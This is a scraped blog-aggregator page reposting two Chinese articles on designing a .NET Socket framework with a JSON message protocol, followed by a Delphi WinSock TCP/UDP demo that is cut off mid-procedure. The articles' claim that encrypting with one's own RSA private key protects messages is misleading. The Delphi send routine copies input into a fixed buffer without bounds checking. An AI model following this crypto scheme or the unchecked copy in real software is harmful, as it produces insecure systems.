[转载]Socket开发框架之框架设计及分析 - 伍华聪 - 博客园

mikel阅读(1053)

来源: [转载]Socket开发框架之框架设计及分析 – 伍华聪 – 博客园

虽然在APP应用、Web应用、Winform应用等大趋势下,越来越多的企业趋向于这 些应用系统开发,但是Socket的应用在某些场合是很必要的,如一些停车场终端设备的接入,农业或者水利、压力监测方面的设备数据采集等,以及常见的 IM(即时通讯,如腾讯QQ、阿里旺旺等)的客户端,都可以采用Socket框架进行相关的数据采集和信息通讯用途的,Socket应用可以做为APP应 用、Web应用和Winform应用的补充。

1、Socket应用场景

一般情况下,客户端和服务端进行Socket连接,需要进行数据的交换,也就是后台提供数据查询或者写入的相关操作,它们的应用场景也是在后台有一个应用数据库支持的,如下所示。

Socket服务器和客户端的通讯原理如下所示,客户端通过服务器地址和端口发起Socket连接,服务器在接收到Socket客户端的请求后,开辟一个新的Socket连接进行通讯管理,两方基于Socket协议进行数据的交互处理。

 

2、Socket框架设计思路

Socket开发是属于通信底层的开发,.NET本身也提供了非常丰富的类来实现Socket的开发工作,Socket框架应针对这些基础功能进行了很好的封装处理,已达到统一、高效的使用。

要掌握或者了解Socket开发,必须了解下面所述的场景及知识。

  • TCP客户端,连接服务器端,进行数据通信
  • TCP服务器端,负责侦听客户端连接
  • 连接客户端的管理,如登陆,注销等,使用独立线程处理
  • 数据接收管理,负责数据的接受,并处理队列的分发,使用独立线程处理,简单处理后叫给“数据处理线程”
  • 数据处理线程,对特定的数据,采用独立的线程进行数据处理
  • 数据的封包和解包,按照一定的协议进行数据的封装和解包

针对以上内容,可以封装以下功能的操作类作为共用基类:

  • BaseSocketClient,客户端基类,负责客户端的链接、断开、发送、接收等操作。
  • BaseSocketServer,TCP服务器管理基类,负责在独立的线程中侦听指定的端口,如果有客户端连接进来,则进行相应的处理。
  • BaseClientManager,连接客户端管理类,该类主要负责客户端登录超时处理,连接上来的客户端维护,经过登陆验证的客户端维护,客户端登陆验证接口,客户端发送数据处理等功能。
  • BaseReceiver,数据接收处理类,该基类是所有接受数据的处理类,负责维护数据的队列关系,并进一步进行处理。
  • ThreadHandler,数据独立线程处理类,对每个不同类型的数据(不同的协议类型),可以用独立的线程进行处理,这里封装了一个基类,用于进行数据独立线程的处理。

1)Socket客户端基类

我们知道Socket通讯,分为了客户端和服务端,它们各自处理的事情是有所不同的,因此为了实现更好的代码重用,我们在这个基础上进行了不同的封 装。针对Socket客户端类,我们主要需要提供基础的Socket连接及断开、接收及发送、封包拆包等常规操作过程,因此我们封装了一个客户端基类 BaseSocketClient。

但是为了基于不同的应用客户端,实现不同的业务沟通,我们可以在服务端接收处理不同的客户端,因此也就是需要对Socket客户端进行派生扩展,例如本框架增加了一个中心的Socket客户端、分店的Socket客户端、还有一个桥接的连接客户端(可实现转发数据功能)。

2)Socket服务端基类

相对于Socket客户端基类,同样我们也创建一个Socket服务端基类,通过继承的方式,我们可以用于简化代码的重复性。该服务端基类称为 TCP服务器管理基类 BaseSocketServer,负责在独立的线程中侦听指定的端口,如果有客户端连接进来,则进行相应的处理。

同样我们也派生了两个服务端的基类,方便对不同的Socket客户端进行差异性处理,如对应上面的中心客户端类ClientOfCall,我们增加一个对应的服务端类ServerForCall,其他的也类似,它们的继承关系如下所示。

另外,由于我们允许不同的Socket客户端类(如ClientOfCall、ClientOfShop)的接入,那么在服务器端也会有对应 Socket服务端类(ServerForCall、ServerForShop)进行不同端口的侦听,一旦在自己所属端口有Socket接入,那么服务 端类会分派给不同Socket客户端管理类来处理他们的关系和数据,这样也就进一步引入一个客户端管理类的概念,它对应不同的Socket客户端。

这里也根据需要定义了一个Socket客户端管理基类BaseClientManager<T>,这个T代 表对应不同的客户端,这样我们就可以派生出CallClientManager和ShopClientManager两个不同的客户端管理类了,它们的继 承关系如下所示。

 

3)数据接收处理基类

在不同的Socket客户端连接到服务端后,服务端开辟一个新的线程进行对应的Socket数据通讯,那么数据通讯这里面的管理,我们可以为不同的Socket客户端订做一个对应的数据接收处理类,专门针对特定的Socket客户端连接的数据进行处理。

这里也根据需要定义了一个数据接收的基类BaseReceiver,同样我们派生对应不同客户端的数据接收类ReceivedForCall、ReceivedForShop和ReceivedForBridge等几个具体的数据处理类,它们的继承关系如下所示。

 

3、框架界面设计

1)参数配置

Socket服务器需要一些参数来确定侦听的IP地址、端口,以及数据库的连接信息,各种数据的处理时间间隔等参数,因此需要提供一个较好的管理界面来进行管理,本框架使用基于本地配置文件的参数管理方式进行管理,参数界面如下所示。

客户端也同样需要配置一些参数,用来确定连接的服务器IP及端口信息,如下配置界面所示。

Socket服务器监控界面,需要显示一些基础的状态和Socket连接等基础信息,作为我们对整体状态的了解,同时这些信息可以记录到日志里面供我们进行查阅和分析。

 

除了上面总体的设计外,其中还有一个地方需要细致的展开来介绍,就是对Socket传输消息的封装和拆包,一般的Socket应用,多数采用基于顺 序位置和字节长度的方式来确定相关的内容,这些处理对我们分析复杂的协议内容,简直是一场灾难,协议位置一旦变化或者需要特殊的处理,就是很容易出错的, 而且大多数代码充斥着很多位置的数值变量,分析和理解都是非常不便的。

如果对于整体的内容,使用一种比较灵活的消息格式,如JSON格式,那么我们可以很好的把消息封装和消息拆包解析两个部分,交给第三方的JSON解 析器来进行,我们只需要关注具体的消息处理逻辑就可以了,而且对于协议的扩展,就如JSON一样,可以自由灵活,这样瞬间,整个世界都会很清静了。由于篇 幅的原因,我将在下一个随笔在进行介绍JSON格式的消息处理过程。

除了上面的场景外,我们还需要考虑用户消息的加密和校验等内容处理,这样才能达到安全、完整的消息处理,我们可以采用 RSA公钥密码系统。平台通过发送平台RSA公钥消息向终端告知自己的RSA公钥,终端回复终端RSA公钥消息,反之亦然。这样平台和终端的消息,就可以 通过自身的私钥加密,让对方公钥解密就可以了。

 

主要研究技术:代码生成工具、会员管理系统、客户关系管理软件、病人资料管理软件、Visio二次开发、酒店管理系统、仓库管理系统等共享软件开发
专注于Winform开发框架Web开发框架、WCF开发框架、微信门户开发框架的研究及应用。
转载请注明出处:
撰写人:伍华聪  http://www.iqidi.com

[转载]Socket开发框架之数据传输协议 - 伍华聪 - 博客园

mikel阅读(868)

来源: [转载]Socket开发框架之数据传输协议 – 伍华聪 – 博客园

我在前面一篇随笔《Socket开发框架之框架设计及分析》 中,介绍了整个Socket开发框架的总体思路,对各个层次的基类进行了一些总结和抽象,已达到重用、简化代码的目的。本篇继续分析其中重要的协议设计部 分,对其中消息协议的设计,以及数据的拆包和封包进行了相关的介绍,使得我们在更高级别上更好利用Socket的特性。

1、协议设计思路

对Socket传输消息的封装和拆包,一般的Socket应用,多数采用基于顺序位置和字节长度的方式来确定相关的内容,这样的处理方式可以很好减 少数据大小,但是这些处理对我们分析复杂的协议内容,简直是一场灾难。对跟踪解决过这样协议的开发人员来说会很好理解其中的难处,协议位置一旦变化或者需 要特殊的处理,就是很容易出错的,而且大多数代码充斥着很多位置的数值变量,分析和理解都是非常不便的。随着网络技术的发展,有时候传输的数据稍大一点, 损失一些带宽来传输数据,但是能成倍提高开发程序的效率,是我们值得追求的目标。例如,目前Web API在各种设备大行其道,相对Socket消息来说,它本身在数据大小上不占优势,但是开发的便利性和高效性,是众所周知的。

借鉴了Web API的特点来考虑Socket消息的传输,如果对于整体的内容,Socket应用也使用一种比较灵活的消息格式,如JSON格式来传输数据,那么我们可 以很好的把消息封装和消息拆包解析两个部分,交给第三方的JSON解析器来进行,我们只需要关注具体的消息处理逻辑就可以了,而且对于协议的扩展,就如 JSON一样,可以自由灵活,这样瞬间,整个世界都会很清静了。

对于Socket消息的安全性和完整性,加密处理方面我们可以采用 RSA公钥密码系统。平台通过发送平台RSA公钥消息向终端告知自己的RSA公钥,终端回复终端RSA公钥消息,这样平台和终端的消息,就可以通过自身的 私钥加密,让对方根据接收到的公钥解密就可以了,虽然加密的数据长度会增加不少,但是对于安全性要求高的,采用这种方式也是很有必要的。

对于数据的完整性,传统意义的CRC校验码其实没有太多的用处了,因为我们的数据不会发生部分的丢失,而我们更应该关注的是数据是否被篡改过,这点 我想到了微信公众号API接口的设计,它们带有一个安全签名的加密字符串,也就是对其中内容进行同样规则的加密处理,然后对比两个签名内容是否一致即可。 不过对于非对称的加密传输,这种数据完整性的校验也可以不必要。

前面介绍了,我们可以参照Web API的方式,以JSON格式作为我们传输的内容,方便序列号和反序列化,这样我们可以大大降低Socket协议的分析难度和出错几率,降低Socket开发难度并提高开发应用的速度。那么我们应该如何设计这个格式呢?

首先我们需要为Socket消息,定义好开始标识和结束标识,中间部分就是整个通用消息的JSON内容。这样,一条完整的Socket消息内容,除了开始和结束标识位外,剩余部分是一个JSON格式的字符串数据。

我们准备根据需要,设计好整个JSON字符串的内容,而且最好设计的较为通用一些,这样便于我们承载更多的数据信息。

 

2、协议设计分析和演化

参考微信的API传递消息的定义,我设计了下面的消息格式,包括了送达用户ID,发送用户ID、消息类型、创建时间,以及一个通用的内容字段,这个 通用的字段应该是另外一个消息实体的JSON字符串,这样我们整个消息格式不用变化,但是具体的内容不同,我们把这个对象类称之BaseMessage, 常用字段如下所示。

上面的Content字段就是用来承载具体的消息数据的,它会根据不同的消息类型,传送不同的内容的,而这些内容也是具体的实体类序列化为JSON字符串的,我们为了方便,也设计了这些类的基类,也就是Socket传递数据的实体类基类BaseEntity。

我们在不同的请求和应答消息,都继承于它即可。我们为了方便让它转换为我们所需要的BaseMessage消息,为它增加一个MsgType协议类型的标识,同时增加PackData的方法,让它把实体类转换为JSON字符串。

例如我们一般情况下的请求Request和应答Response的消息对象,都是继承自BaseEntity的,我们可以把这两类消息对象放在不同的目录下方便管理。

继承关系示例如下所示。

其中子类都可以使用基类的PackData方法,直接序列号为JSON字符串即可,那个PacketData的函数主要就是用来组装好待发送的对象BaseMessage的,函数代码如下所示:

复制代码
        /// <summary>
        /// 封装数据进行发送
        /// </summary>
        /// <returns></returns>
        public BaseMessage PackData()
        {
            BaseMessage info = new BaseMessage()
            {
                MsgType = this.MsgType,
                Content = this.SerializeObject()
            };
            return info;
        }
复制代码

有时候我们需要根据请求的信息,用来构造返回的应答消息,因为需要把发送者ID和送达者ID逆反过来。

复制代码
        /// <summary>
        /// 封装数据进行发送(复制请求部分数据)
        /// </summary>
        /// <returns></returns>
        public BaseMessage PackData(BaseMessage request)
        {
            BaseMessage info = new BaseMessage()
            {
                MsgType = this.MsgType,
                Content = this.SerializeObject(),
                CallbackID = request.CallbackID
            };

            if(!string.IsNullOrEmpty(request.ToUserId))
            {
                info.ToUserId = request.FromUserId;
                info.FromUserId = request.ToUserId;
            }

            return info;
        }
复制代码

以登陆请求的数据实体对象介绍,它继承自BaseEntity,同时指定好对应的消息类型即可。

复制代码
    /// <summary>
    /// 登陆请求消息实体
    /// </summary>
    public class AuthRequest : BaseEntity
    {
        #region 字段信息

        /// <summary>
        /// 用户帐号
        /// </summary>
        public string UserId { get; set; }

        /// <summary>
        /// 用户密码
        /// </summary>
        public string Password { get; set; }

        #endregion

        /// <summary>
        /// 默认构造函数
        /// </summary>
        public AuthRequest()
        {
            this.MsgType = DataTypeKey.AuthRequest;
        }

        /// <summary>
        /// 参数化构造函数
        /// </summary>
        /// <param name="userid">用户帐号</param>
        /// <param name="password">用户密码</param>
        public AuthRequest(string userid, string password) : this()
        {
            this.UserId = userid;
            this.Password = password;
        }
    }
复制代码

这样我们的消息内容就很简单,方便我们传递及处理了。

 

3、消息的接收和发送

前面我们介绍过了一些基类,包括Socket客户端基类,和数据接收的基类设计,这些封装能够给我提供很好的便利性。

在上面的BaseSocketClient里面,我们为了能够解析不同协议的Socket消息,把它转换为我们所需要的基类对象,那么我们这里引入一个解析器MessageSplitter,这个类主要的职责就是用来分析字节数据,并进行整条消息的提取的。

因此我们把BaseSocketClient的类定义的代码设计如下所示。

    /// <summary>
    /// 基础的Socket操作类,提供连接、断开、接收和发送等相关操作。
    /// </summary>
    /// <typeparam name="TSplitter">对应的消息解析类,继承自MessageSplitter</typeparam>
    public class BaseSocketClient<TSplitter>  where TSplitter : MessageSplitter, new()

MessageSplitter对象,给我们处理低层次的协议解析,前面介绍了我们除了协议头和协议尾标识外,其余部分就是一个JSON的,那么它就需要根据这个规则来实现字节数据到对象级别的转换。

首先需要把字节数据进行拆分,把它完整的一条数据加到列表里面后续进行处理。

其中结尾部分,我们就是需要提取缓存的直接数据到一个具体的对象上了。

RawMessage msg = this.ConvertMessage(MsgBufferCache, from);

这个转换的大概规则如下所示。

 

这样我们在收到消息后,利用TSplitter对象来进行解析就可以了,如下所示就是对Socket消息的处理。

                    TSplitter splitter = new TSplitter();
                    splitter.InitParam(this.Socket, this.StartByte, this.EndByte);//指定分隔符,用来拆包
                    splitter.DataReceived += splitter_DataReceived;//如果有完整的包处理,那么通过事件通知

数据接收并获取一条消息的直接数据对象后,我们就进一步把直接对象转换为具体的消息对象了

复制代码
        /// <summary>
        /// 消息分拆类收到消息事件
        /// </summary>
        /// <param name="data">原始消息对象</param>
        void splitter_DataReceived(RawMessage data)
        {
            ReceivePackCount += 1;//增加收到的包数量
            OnReadRaw(data);
        }

        /// <summary>
        /// 接收数据后的处理,可供子类重载
        /// </summary>
        /// <param name="data">原始消息对象(包含原始的字节数据)</param>
        protected virtual void OnReadRaw(RawMessage data)
        {
            //提供默认的包体处理:假设整个内容为Json的方式;
            //如果需要处理自定义的消息体,那么需要在子类重写OnReadMessage方法。
            if (data != null && data.Buffer != null)
            {
                var json = EncodingGB2312.GetString(data.Buffer);
                var msg = JsonTools.DeserializeObject<BaseMessage>(json);

                OnReadMessage(msg);//给子类重载
            }
        }
复制代码

 

在更高一层的数据解析上面,我们就可以对对象级别的消息进行处理了

例如我们收到消息后,它本身解析为一个实体类BaseMessage的,那么我们就可以利用BaseMessage的消息内容,也可以把它的Content内容转换为对应的实体类进行处理,如下代码所示是接收对象后的处理。

复制代码
        void TextMsgAnswer(BaseMessage message)
        {
            var msg = string.Format("来自【{0}】的消息:", message.FromUserId);

            var request = JsonTools.DeserializeObject<TextMsgRequest>(message.Content);
            if (request != null)
            {
                msg += string.Format("{0}  {1}", request.Message, message.CreateTime.IntToDateTime());
            }

            //MessageUtil.ShowTips(msg);
            Portal.gc.MainDialog.AppendMessage(msg);
        }
复制代码

对于消息的发送处理,我们可以举一个例子,如果客户端登陆后,需要获取在线用户列表,那么可以发送一个请求命令,那么服务器需要根据这个命令返回列表信息给终端,如下代码所示。

复制代码
        /// <summary>
        /// 处理客户端请求用户列表的应答
        /// </summary>
        /// <param name="data">具体的消息对象</param>
        private void UserListProcess(BaseMessage data)
        {
            CommonRequest request = JsonTools.DeserializeObject<CommonRequest>(data.Content);
            if (request != null)
            {
                Log.WriteInfo(string.Format("############\r\n{0}", data.SerializeObject()));

                List<CListItem> list = new List<CListItem>();
                foreach(ClientOfShop client in Singleton<ShopClientManager>.Instance.LoginClientList.Values)
                {
                    list.Add(new CListItem(client.Id, client.Id));
                }

                UserListResponse response = new UserListResponse(list);
                Singleton<ShopClientManager>.Instance.AddSend(data.FromUserId, response.PackData(data), true);
            }
        }
复制代码

 

主要研究技术:代码生成工具、会员管理系统、客户关系管理软件、病人资料管理软件、Visio二次开发、酒店管理系统、仓库管理系统等共享软件开发
专注于Winform开发框架Web开发框架、WCF开发框架、微信门户开发框架的研究及应用。
转载请注明出处:
撰写人:伍华聪  http://www.iqidi.com

[delphi] socket封装UDP/TCP通信的例子

mikel阅读(827)

unit UnitTCPUDP;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,WinSock, ExtCtrls, ComCtrls,inifiles,StrUtils;
const
  WM_SOCK = WM_USER + 82;     {自定义windows消息}
    //在tcp 服务器方式下,WM_SOCK为监听消息
    // WM_SOCK+1到  WM_SOCK+MAX_ACCEPT 为与连接客户端进行通讯时的消息

  MAX_ACCEPT=100;
  FD_SET= MAX_ACCEPT;
type
  TFormTCPUDP = class(TForm)
    BtnSend: TButton;
    MemoReceive: TMemo;
    EditSend: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    Bevel2: TBevel;
    STOpCode: TStaticText;
    STIndex: TStaticText;
    STCommand: TStaticText;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    RBTCP: TRadioButton;
    RBUDP: TRadioButton;
    Panel1: TPanel;
    RBClient: TRadioButton;
    RBServer: TRadioButton;
    GroupBox4: TGroupBox;
    BtnConnect: TButton;
    BtnClose: TButton;
    Bevel1: TBevel;
    StatusBar1: TStatusBar;
    PanelDest: TPanel;
    Label4: TLabel;
    EditRemoteHost: TEdit;
    Label5: TLabel;
    EditRemotePort: TEdit;
    Label6: TLabel;
    CmbSendTo: TComboBox;
    Label7: TLabel;
    PanelLocal: TPanel;
    ChkBind: TCheckBox;
    EditHostPort: TEdit;
    Label1: TLabel;
    procedure BtnSendClick(Sender: TObject);
    procedure BtnConnectClick(Sender: TObject);
    procedure RBTCPClick(Sender: TObject);
    procedure RBUDPClick(Sender: TObject);
    procedure BtnCloseClick(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure RBClientClick(Sender: TObject);
    procedure RBServerClick(Sender: TObject);
    procedure ChkBindClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure EditHostPortChange(Sender: TObject);
    procedure EditRemoteHostChange(Sender: TObject);
    procedure EditRemotePortChange(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure CmbSendToKeyPress(Sender: TObject; var Key: Char);  {消息接送}
  private
    { Private declarations }
    FirstFlag:Boolean;
    INIPath:String;
     procedure ReadData(var Message: TMessage);
     function ReadTCPUDPIni():boolean;   //读取配置信息
     procedure WriteIniStr(FileName:String;section:string;Ident:string;StringValue:string);//写系统信息
     procedure WriteIniBool(FileName:String;section:string;Ident:string;BoolValue:Boolean);//写系统信息
  protected
        { Protected declarations }
        { other fields and methods}
         procedure  wndproc(var message:Tmessage);override;
  public
    { Public declarations }
  end;
const
  DATA_LENGTH   =120; //数据长度
type
  TUDPaction = packed record
    opcode:byte; //操作码
    index:word;  //序列号
    Command:byte;  //命令字
    data:array[0..(DATA_LENGTH-1)] of char;  //数据
  end;

var
  FormTCPUDP: TFormTCPUDP;

  AcceptSock:Array[0..MAX_ACCEPT] OF Tsocket;
  FSockAccept : Array[0..MAX_ACCEPT] OF TSockAddrIn;
  AcceptSockFlag: Array[0..MAX_ACCEPT] OF boolean;
  AcceptNum:integer=0;
  FSockLocal : TSockAddrIn;
  PackageID:integer=0;  //包序号
  BindFlag:Boolean=true;
  TcpFlag:Boolean=false;
  ServerFlag:Boolean=false;
  function WinSockInital(Handle: HWnd):bool;
  Procedure WinSockClose();
implementation

{$R *.dfm}
{始化SOCKET}
function WinSockInital(Handle: HWnd):bool;
var  TempWSAData: TWSAData;
     i:integer;
begin
     result := false;
     { 1 初始化SOCKET}
     if WSAStartup(2, TempWSAData)=1 then  //2表示启用winsock2
       exit;
     {若是用UDP通信,则用}
     if TcpFlag then
       AcceptSock[0]:=Socket(AF_INET,SOCK_STREAM,0)
     else
       AcceptSock[0]:=Socket(AF_INET,SOCK_DGRAM,0);
     if AcceptSock[0]=SOCKET_ERROR then
       exit;
     if (BindFlag and not tcpflag) or (Serverflag and tcpflag) then
       if bind(AcceptSock[0],FSockLocal,sizeof(FSockLocal))<>0 then
       begin
         WinSockClose();
         exit;
       end;
     if Tcpflag then
       if Serverflag then
       begin
         if Listen(AcceptSock[0],1)<>0 then  //等待连接队列的最大长度为1
         begin
          &
nbsp;WinSockClose();
           exit;
         end;
       end
       else
         if connect(AcceptSock[0],FSockAccept[0],sizeof(FSockAccept[0]))<>0 then
         begin
           WinSockClose();
           exit;
         end;

    {FD_READ 在读就绪的时候, 产生WM_SOCK 自定义消息号}
     if not TcpFlag then
       WSAAsyncSelect(AcceptSock[0], Handle , WM_SOCK, FD_READ)
     else if Serverflag then
       WSAAsyncSelect(AcceptSock[0], Handle , WM_SOCK, FD_READ or FD_ACCEPT or FD_CLOSE)
     else
       WSAAsyncSelect(AcceptSock[0], Handle , WM_SOCK, FD_READ or FD_CLOSE);
     Result:=true;
end;
{关闭SOCKET}
Procedure WinSockClose();
var i:integer;
begin
  for i:=1 to MAX_ACCEPT DO
    if AcceptSockFlag[i] then
    begin
      CloseSocket(AcceptSock[i]);
      AcceptSockFlag[i]:=false;
    end;
  CloseSocket(AcceptSock[0]); {closesocket函数用来关闭一个描述符为AcceptSock[0]套接字}
  WSACleanup;
end;
function TFormTCPUDP.ReadTCPUDPIni():boolean;
var ti:TiniFile;

begin
  ti:=TIniFile.Create(INIPath+'TCPUDP.ini');
  EditHostPort.text:=ti.ReadString('Setting','LocalPort','');
  ChkBind.Checked:=ti.ReadBool('Setting','BindStatus',false);
  EditRemotePort.text:=ti.ReadString('Setting','RemotePort','');
  EditRemoteHost.text:=ti.ReadString('Setting','RemoteHost','');
  RBTCP.Checked:=ti.ReadBool('Setting','TCPStatus',false);
  RBUDP.Checked:=not RBTCP.Checked;
  RBServer.Checked:=ti.ReadBool('Setting','ServerStatus',false);
  RBClient.Checked:=not RBServer.Checked;
end;
procedure TFormTCPUDP.WriteIniStr(FileName:String;Section:string;Ident:string;StringValue:string);
var ti:TiniFile;
begin
  ti:=TIniFile.Create(FileName);
  ti.writestring(section,Ident,StringValue);
  ti.Free;
end;

procedure TFormTCPUDP.WriteIniBool(FileName:String;Section:string;Ident:string;BoolValue:Boolean);
var ti:TiniFile;
begin
  ti:=TIniFile.Create(FileName);
  ti.writebool(section,Ident,BoolValue);
  ti.Free;
end;
procedure TFormTCPUDP.BtnSendClick(Sender: TObject);
var SEND_PACKAGE : TUDPaction;  //数据发送
    i:integer;
    s:String;
begin
  Fillchar(SEND_PACKAGE.data,Data_Length,chr(0));
  SEND_PACKAGE.data[0]:='1';
  SEND_PACKAGE.data[1]:='2';
  SEND_PACKAGE.data[2]:='3';
  SEND_PACKAGE.opcode:=2;
  SEND_PACKAGE.index:=PackageID;
  SEND_PACKAGE.Command:=3;
  s:=editsend.Text;
  for i:=0 to length(EditSend.Text)-1 do
    SEND_PACKAGE.data[i]:=s[i+1];
  PackageID:=PackageID+1;
  if not (Tcpflag and Serverflag) then
    sendto(AcceptSock[0], SEND_PACKAGE,sizeof(SEND_PACKAGE), 0, FSockAccept[0], sizeof(FSockAccept[0]))
  else if AcceptNum=0 then
      Application.MessageBox('没有一个客户端和您建立连接','信息提示',MB_OK)
  else
  begin

    i:=pos('   ',CmbSendto.Text);
    if i>0 then
    begin
      i:=strtoint(MidStr(CmbSendTo.Text,8,i-8));
      sendto(AcceptSock[i], SEND_PACKAGE,sizeof(SEND_PACKAGE), 0, FSockAccept[i], sizeof(FSockAccept[i]));
    end
    else
      Application.MessageBox('您没有选择发送方','错误提示',MB_OK);
  end;
//   sendto(AcceptSock[0], NbtstatPacket,50, 0, FSockAccept[0], sizeof(FSockAccept[0]));
end;


procedure TFormTCPUDP.BtnConnectClick(Sender: TObject);
var s:String;
    i:integer;
begin
  s:='正在建立连接....';

  StatusBar1.Panels[0].Text:=s;
  Application.ProcessMessages;
 
  FSockLocal.sin_family:=AF_INET;
  FSockLocal.sin_port:=htons(strtoint(EditHostport.Text));
  FSockAccept[0].sin_family:=AF_INET;
  FSockAccept[0].sin_port:=htons(strtoint(EditRemoteport.Text));
  FSockAccept[0].SIn_Addr.S_addr := inet_addr(PChar(EditRemoteHost.Text));//inet_addr(pchar(IP));
  if WinSockInital(FormTCPUDP.Handle) then
  begin
    BtnConnect.Enabled:=false;
    BtnClose.Enabled:=true;
    BtnSend.Enabled:=true;
    s:='连接成功!';
    if ChkBind.Checked then
      s:=s+', ---绑定端口';
    if RBTcp.Checked then
    begin
      s:=s+',---TCP方式';
      if RBServer.Checked then
        s:=s+',---服务端'
      else
        s:=s+',---客户端';
    end
    else
      s:=s+',---UDP方式';
    if tcpflag and Serverflag then
    begin
      AcceptNum:=0;
      CmbSendto.Clear;
      StatusBar1.Panels[2].Text:='共有:'+inttostr(AcceptNum)+'个连接';
    end;
  end
  else
  begin
    for i:=0 to StatusBar1.Panels.count-1 do
      StatusBar1.Panels[i].Text:='';
    s:='创建套接字失败!!';
  end;
  StatusBar1.Panels[0].Text:=s;
end;
procedure TFormTCPUDP.wndproc(var Message: TMessage);
begin
  if (Message.Msg>=WM_SOCK) and (Message.Msg<=WM_SOCK+MAX_ACCEPT) then
    ReadData(Message)
  else
    inherited wndproc(message);
end;
procedure TFormTCPUDP.ReadData(var Message: TMessage);
var
    Receive_PACKAGE : TUDPacti
on;  //数据发送
   flen,len,i,index: integer;
   Event: word;
begin
  Index:=(Message.Msg-WM_SOCK);
  flen:=sizeof(FSockAccept&#91;Index&#93;);
  Event := WSAGetSelectEvent(Message.LParam);
  if Event = FD_READ then
  begin
    len := recvfrom(AcceptSock&#91;Index&#93;, Receive_PACKAGE, sizeof(Receive_PACKAGE), 0, FSockAccept&#91;Index&#93;, Flen);
    if len> 0 then
    begin
         StatusBar1.Panels[0].Text:='收到来自ip地址:'+inet_ntoa(FSockAccept[Index].sin_addr)+'   端口:'+inttostr(ntohs(FSockAccept[Index].sin_port))+'的数据';
         StOpCode.Caption:= format('%.2d',[Receive_PACKAGE.opCode]);
         StIndex.Caption:= format('%d',[Receive_PACKAGE.Index]);
         StCommand.Caption:= format('%.2d',[Receive_PACKAGE.Command]);
         MemoReceive.Lines.Add(StrPas(Receive_PACKAGE.data))
       end;
     end
     else if Event=FD_ACCEPT then
     begin
       for i:=1 to MAX_ACCEPT DO
         if not AcceptSockFlag[i] then
         begin
           flen:=Sizeof(FSockAccept[i]);
           AcceptSock[i]:=accept(AcceptSock[0],@FSockAccept[i],@flen);
           WSAAsyncSelect(AcceptSock[i], Handle , WM_SOCK+i, FD_READ or FD_CLOSE);
           AcceptSockFlag[i]:=true;
           AcceptNum:=AcceptNum+1;
           CmbSendto.Items.Add('套接口:'+inttostr(i)+'   地址:'+inet_ntoa(FSockAccept[i].sin_addr)+'   端口:'+inttostr(ntohs(FSockAccept[i].sin_port)));
            break;
         end;
         StatusBar1.Panels[2].Text:='共有:'+inttostr(AcceptNum)+'个连接';
     end
     else if Event=FD_CLOSE then
     begin
       WSAAsyncSelect(AcceptSock[index], FormTCPUDP.Handle, 0, 0);
       if index<>0 then
       begin
         for i:=0 to CmbSendto.Items.Count-1 do
           if CmbSendto.Items.Strings[i]= '套接口:'+inttostr(index)+'   地址:'+inet_ntoa(FSockAccept[index].sin_addr)+'   端口:'+inttostr(ntohs(FSockAccept[index].sin_port)) then
           begin
             CmbSendto.Items.Delete(i);
             break;
           end;
         CloseSocket(AcceptSock[index]);
         AcceptSockFlag[index]:=false;
         AcceptNum:=AcceptNum-1;
         StatusBar1.Panels[2].Text:='共有:'+inttostr(AcceptNum)+'个连接';
       end;
     end;
end;
procedure TFormTCPUDP.RBTCPClick(Sender: TObject);
begin
  writeiniBool(INIPath+'TCPUDP.ini','Setting','TCPStatus',true);
  RBServer.Enabled:=true;
  RBClient.Enabled:=true;
  if RBServer.Checked then
  begin
    PanelDest.Visible:=false;
    CmbSendto.Enabled:=true;
  end
  else
  begin
    PanelDest.Visible:=true;
    PanelLocal.Visible:=false;
  end;
  ChkBind.Enabled:=false;
  TcpFlag:=true;

end;

procedure TFormTCPUDP.RBUDPClick(Sender: TObject);
begin
  writeiniBool(INIPath+'TCPUDP.ini','Setting','TCPStatus',false);
  RBServer.Enabled:=false;
  RBClient.Enabled:=false;
  PanelDest.Visible:=true;
  TcpFlag:=false;
  ChkBind.Enabled:=true;
  CmbSendto.Enabled:=false;
  PanelLocal.Visible:=true;
end;

procedure TFormTCPUDP.BtnCloseClick(Sender: TObject);
var i:integer;
begin
  WinSockClose();
  BtnConnect.Enabled:=true;
  BtnClose.Enabled:=false;
  BtnSend.Enabled:=false;
  CmbSendto.Clear;
  for i:=0 to StatusBar1.Panels.count-1 do
    StatusBar1.Panels[i].Text:='';
  Statusbar1.Panels[0].Text:='已关闭套接字!!';
end;

procedure TFormTCPUDP.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if BtnClose.Enabled then   WinSockClose();

end;

procedure TFormTCPUDP.RBClientClick(Sender: TObject);
begin
  writeiniBool(INIPath+'TCPUDP.ini','Setting','ServerStatus',false);
  ServerFlag:=false;
  PanelDest.Visible:=true;
  CmbSendto.Enabled:=false;
  if Tcpflag then
    PanelLocal.Visible:=false
  else
    PanelLocal.Visible:=true;
end;

procedure TFormTCPUDP.RBServerClick(Sender: TObject);
begin
  writeiniBool(INIPath+'TCPUDP.ini','Setting','ServerStatus',true);
  ServerFlag:=true;
  if Tcpflag then
  begin
    PanelDest.Visible:=false;
    CmbSendto.Enabled:=true;
    ChkBind.Enabled:=false;
    ChkBind.Checked:=true;
  end
  else
    ChkBind.Enabled:=true;
  PanelLocal.Visible:=true;
end;

procedure TFormTCPUDP.ChkBindClick(Sender: TObject);
begin
  writeiniBool(INIPath+'TCPUDP.ini','Setting','BindStatus',ChkBind.Checked);
  BindFlag:=ChkBind.Checked;
end;

procedure TFormTCPUDP.FormCreate(Sender: TObject);
var i:integer;
begin
  FirstFlag:=true;
  for i:=1 to MAX_ACCEPT do
    AcceptSockFlag[i]:=false;
    INIPath:=extractFilePath(ParamStr(0));
end;

procedure TFormTCPUDP.EditHostPortChange(Sender: TObject);
begin
 
 writeiniStr(INIPath+'TCPUDP.ini','Setting','LocalPort',EditHostPort.Text);

end;

procedure TFormTCPUDP.EditRemoteHostChange(Sender: TObject);
begin
  writeiniStr(INIPath+'TCPUDP.ini','Setting','RemoteHost',EditRemoteHost.Text);

end;

procedure TFormTCPUDP.EditRemotePortChange(Sender: TObject);
begin
